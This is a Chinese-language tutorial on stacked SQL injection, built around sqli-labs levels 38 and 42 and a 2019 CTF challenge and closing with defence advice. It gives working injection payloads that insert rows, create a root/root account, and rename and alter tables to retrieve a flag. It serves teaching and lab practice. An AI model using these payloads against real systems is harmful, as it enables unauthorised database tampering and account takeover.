SQL注入之堆叠注入
字数 1215 2025-08-15 21:32:08
SQL注入之堆叠注入详解
一、堆叠注入基础概念
堆叠注入(Stacked Injection)是一种SQL注入技术,攻击者通过在SQL语句中使用分号(;)分隔,实现一次执行多条SQL语句的目的。
基本原理
- SQL语句通常以分号(
;)作为结束符 - 如果在分号后追加其他SQL语句,某些数据库系统会将这些语句一起执行
- 示例:
select * from users;DELETE FROM test先查询user表,然后删除test表
二、堆叠注入实战演示
案例1:sql-libs第38关
- 判断注入点:闭合点为单引号(
') - 判断列数:
?id=1' order by 4 %23判断出3列 - 执行堆叠注入:
?id=-1'; insert into users(id,username,password) values(88,'aaa','bbb')%23 - 验证结果:虽然页面无回显,但数据库中已成功插入新记录
案例2:sql-libs第42关
-
分析防护措施:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"];- 用户名进行了转义处理
- 密码直接以POST方式提交,未过滤
-
成功注入方式:
- username:
aaa - password:
bbb';insert into users(id,username,password) values(60,'root','root')#
- username:
-
结果:成功插入管理员账户(root/root)
三、高级案例:[强网杯 2019]随便注
1. 初步探测
- 注入点:
1'触发报错 - 列数判断:成功
- 常规注入尝试:
1' union select 1,database(); #失败,select等关键字被过滤
2. 堆叠注入利用
-
查看数据库:
1';show databases; # -
查看表:
1';show tables; #发现两个表:words和1919810931114514
-
查看表结构:
0'; show columns from words; # 0';show columns from `1919810931114514`;#在1919810931114514表中发现flag列
3. 绕过过滤获取flag
-
过滤情况:select等关键字被过滤,但alert和rename未被过滤
-
利用步骤:
- 重命名words表
- 将1919810931114514表重命名为words
- 修改flag字段名为id
-
完整payload:
0';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
-
验证修改:
1';show tables;# -
获取flag:
0' or '1'='1
四、关键知识点总结
-
堆叠注入条件:
- 数据库支持多语句执行(如MySQL)
- 应用程序未对用户输入进行充分过滤
-
常见防护措施:
- 使用参数化查询
- 对用户输入进行转义处理
- 限制数据库用户权限
-
堆叠注入优势:
- 可以执行任意SQL语句,不限于查询
- 可以绕过某些关键字过滤
-
防御建议:
- 使用PDO或预处理语句
- 实施最小权限原则
- 对用户输入进行严格过滤和验证
五、注意事项
-
不同数据库对堆叠注入的支持不同:
- MySQL支持堆叠注入
- SQL Server在某些配置下支持
- Oracle通常不支持
-
实际应用中:
- 堆叠注入的成功率取决于数据库配置和应用程序防护
- 并非所有SQL注入场景都适合使用堆叠注入
-
测试时:
- 注意表名和字段名可能需要使用反引号(`)或单引号(')包裹
- 注意语句末尾的注释符(#或-- )的使用